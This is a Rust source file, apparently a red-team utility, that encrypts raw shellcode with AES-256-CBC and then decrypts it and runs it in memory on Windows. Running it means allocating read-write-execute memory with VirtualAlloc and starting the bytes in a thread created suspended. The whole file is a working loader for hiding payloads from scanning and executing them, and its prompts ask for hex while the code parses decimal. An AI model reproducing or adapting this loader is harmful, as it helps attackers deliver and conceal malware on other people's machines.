use rand::RngCore;
use libaes::Cipher;
use std::fs;
use std::io::{self, Write};
use std::ptr::null_mut;
use winapi::um::{
    errhandlingapi::GetLastError,
    handleapi::CloseHandle,
    memoryapi::VirtualAlloc,
    processthreadsapi::{CreateThread, ResumeThread},
    synchapi::WaitForSingleObject,
};

// Macros for output
macro_rules! okey {
    ($msg:expr, $($arg:expr), *) => {
        println!("\\____[+] {}", format!($msg, $($arg), *));
    }
}

macro_rules! error {
    ($msg:expr, $($arg:expr), *) => {
        println!("\\____[-] {}", format!($msg, $($arg), *));
        println!("Exiting...");
        std::process::exit(0);
    }
}

// Generate random AES key and IV
fn generate_key() -> [u8; 32] {
    let mut key = [0u8; 32];
    rand::rng().fill_bytes(&mut key);
    key
}

fn generate_iv() -> [u8; 16] {
    let mut iv = [0u8; 16];
    rand::rng().fill_bytes(&mut iv);
    iv
}

// Encrypt shellcode from bin file
fn encrypt_shellcode(filepath: &str, key: &[u8; 32], iv: &[u8; 16]) -> Vec<u8> {
    let shellcode = fs::read(filepath).expect("Failed to read shellcode file");
    let cipher = Cipher::new_256(key);
    let ciphertext = cipher.cbc_encrypt(iv, &shellcode);
    ciphertext
}

// Decrypt shellcode and execute
fn decrypt_and_execute(ciphertext: Vec<u8>, key: &[u8; 32], iv: &[u8; 16]) {
    let cipher = Cipher::new_256(key);
    let decrypted = cipher.cbc_decrypt(iv, &ciphertext);


    println!("Decrypt Success. Now using the shellcode to execute");
    
    println!("Decrypted Shellcode: {:?}", decrypted);

    println!("....");

    unsafe {
        let address = VirtualAlloc(
            null_mut(),
            decrypted.len(),
            0x1000 | 0x2000, // MEM_COMMIT | MEM_RESERVE
            0x40,            // PAGE_EXECUTE_READWRITE
        );

        if address.is_null() {
            error!("Failed to Allocate Memory: {}", GetLastError());
        }

        okey!("VirtualAlloc: {:?}", address);
        std::ptr::copy(decrypted.as_ptr(), address as *mut u8, decrypted.len());

        let hthread = CreateThread(
            null_mut(),
            0,
            std::mem::transmute(address),
            null_mut(),
            0x00000004, // CREATE_SUSPEND
            null_mut(),
        );

        if hthread.is_null() {
            error!("Failed to create Thread :{:?}", GetLastError());
        }
        
        okey!("Thread Addr: {:?}", hthread);
        ResumeThread(hthread);
        okey!("Executed Shellcode ...{}", "!");
        
        WaitForSingleObject(hthread, 0xFFFFFFFF);
        CloseHandle(hthread);
    }
}

fn main() {
    let args: Vec<String> = std::env::args().collect();

    if args.len() < 2 {
        println!("Simple AES-Tool By @5mukx");
        println!("Usage: {} <shellcode.bin> <option>", args[0]);
        println!("Options: ");
        println!("1 - Generate key and IV");
        println!("2 - Encrypt shellcode");
        println!("3 - Decrypt and execute shellcode");
        return;
    }

    let filepath = &args[1];
    let option = args.get(2).unwrap_or(&"0".to_string()).parse::<u32>().unwrap_or(0);

    match option {
        1 => {
            let key = generate_key();
            let iv = generate_iv();
            println!("Generated AES Key: {:?}", key);
            println!("Generated IV: {:?}", iv);
        }
        2 => {
            print!("Enter AES Key (32 bytes as hex, comma-separated): ");
            io::stdout().flush().unwrap();
            let mut key_input = String::new();
            io::stdin().read_line(&mut key_input).unwrap();

            let key: Vec<u8> = key_input.trim()
                .split(',')
                .map(|x| x.trim().parse::<u8>().unwrap())
                .collect();
            let key: [u8; 32] = key.try_into().expect("Key must be 32 bytes");
            println!("\n");

            print!("Enter IV (16 bytes as hex, comma-separated): ");
            io::stdout().flush().unwrap();
            let mut iv_input = String::new();
            io::stdin().read_line(&mut iv_input).unwrap();

            let iv: Vec<u8> = iv_input.trim()
                .split(',')
                .map(|x| x.trim().parse::<u8>().unwrap())
                .collect();
            let iv: [u8; 16] = iv.try_into().expect("IV must be 16 bytes");

            let encrypted = encrypt_shellcode(filepath, &key, &iv);
            println!("\n");
            println!("Encrypted Shellcode: {:?}", encrypted);
        }
        3 => {
            print!("Enter Encrypted Shellcode (comma-separated bytes): ");
            io::stdout().flush().unwrap();
            let mut cipher_input = String::new();
            io::stdin().read_line(&mut cipher_input).unwrap();
            let ciphertext: Vec<u8> = cipher_input.trim()
                .split(',')
                .map(|x| x.trim().parse::<u8>().unwrap())
                .collect(); 


            println!();
            print!("Enter AES Key (32 bytes as hex, comma-separated): ");
            io::stdout().flush().unwrap();
            let mut key_input = String::new();
            io::stdin().read_line(&mut key_input).unwrap();
            let key: Vec<u8> = key_input.trim()
                .split(',')
                .map(|x| x.trim().parse::<u8>().unwrap())
                .collect();
            let key: [u8; 32] = key.try_into().expect("Key must be 32 bytes");

            println!();

            print!("Enter IV (16 bytes as hex, comma-separated): ");
            io::stdout().flush().unwrap();
            let mut iv_input = String::new();
            io::stdin().read_line(&mut iv_input).unwrap();
            
            let iv: Vec<u8> = iv_input.trim()
                .split(',')
                .map(|x| x.trim().parse::<u8>().unwrap())
                .collect();
            
            let iv: [u8; 16] = iv.try_into().expect("IV must be 16 bytes");

            decrypt_and_execute(ciphertext, &key, &iv);
        }

        _ => println!("Invalid option. Use 1, 2, or 3."),
    }
}